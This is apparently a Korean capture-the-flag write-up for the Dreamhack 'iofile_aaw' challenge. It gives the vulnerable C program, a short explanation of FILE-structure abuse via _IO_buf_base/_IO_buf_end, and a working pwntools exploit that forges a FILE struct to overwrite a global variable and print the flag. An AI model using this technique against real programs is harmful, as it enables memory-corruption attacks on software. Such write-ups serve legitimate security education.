// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
우선 read로 fp에 값을 입력받는다. 하지만 중요한 것이 fp는 FILE Pointer이다. 그렇기에, 우리는 우리가 원하는 file 구조체를 만들 수 있다. 이후 밑을 보면 fread 함수를 실행하는데, 여기서 값이 작성되는 부분을 바꾸어버릴 수가 있다. IO_buf_base, IO_buf_end 부분이다.
from pwn import *
p = remote('host3.dreamhack.games', 14242)
overwrite_me_addr = 0x00000000006014a0
payload = p64(0xfbad2488)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(overwrite_me_addr)
payload += p64(overwrite_me_addr + 1024)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
p.recvuntil('Data: ')
p.send(payload)
p.send(p64(0xdeadbeef).ljust(1024, 'a'))
p.interactive()
야호